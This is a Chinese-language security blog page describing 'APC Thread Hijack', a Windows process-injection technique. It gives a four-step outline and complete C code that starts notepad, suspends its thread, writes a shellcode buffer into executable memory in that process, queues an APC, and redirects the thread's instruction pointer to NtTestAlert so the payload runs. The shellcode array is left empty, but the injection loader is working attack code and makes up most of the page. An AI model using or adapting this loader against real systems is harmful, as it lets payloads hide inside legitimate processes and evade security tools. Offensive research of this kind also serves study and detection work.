idiotc4t's blog
搜索文档…
GitBook 提供支持
APC Thread Hijack

简介

我也不知道为什么要写这个....这玩意有点像脱裤子放屁....
昨天和某个dalao谈论了一下apc注入,我们经过友好的技术♂交流(迫真),意识到了三环插入的apc无法确定时间执行,于是有了这个东西。
能弹出窗来就是了。

流程

    1.
    插入apc
    2.
    挂起线程
    3.
    修改rip指向NtTestAlert函数
    4.
    恢复线程

代码

1
#include<Windows.h>
2
#include<stdio.h>
3
4
char shellcode[] =
5
"";
6
7
typedef VOID(NTAPI* pNtTestAlert)(VOID);
8
9
int main() {
10
STARTUPINFOA si = { 0 };
11
si.cb = sizeof(si);
12
PROCESS_INFORMATION pi = { 0 };
13
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
14
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
15
Sleep(1000);//Wait for thread initialization to complete -> nttestalert is executed
16
SuspendThread(pi.hThread);
17
LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
18
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
19
CONTEXT ctx = { 0 };
20
QueueUserAPC((PAPCFUNC)lpBuffer, pi.hThread, NULL);
21
ctx.ContextFlags = CONTEXT_ALL;
22
GetThreadContext(pi.hThread, &ctx);
23
ctx.Rip = (DWORD64)NtTestAlert;
24
SetThreadContext(pi.hThread, &ctx);
25
ResumeThread(pi.hThread);
26
CloseHandle(pi.hProcess);
27
CloseHandle(pi.hThread);
28
//NtTestAlert();
29
return 0;
30
}
Copied!
最近更新 1yr ago
复制链接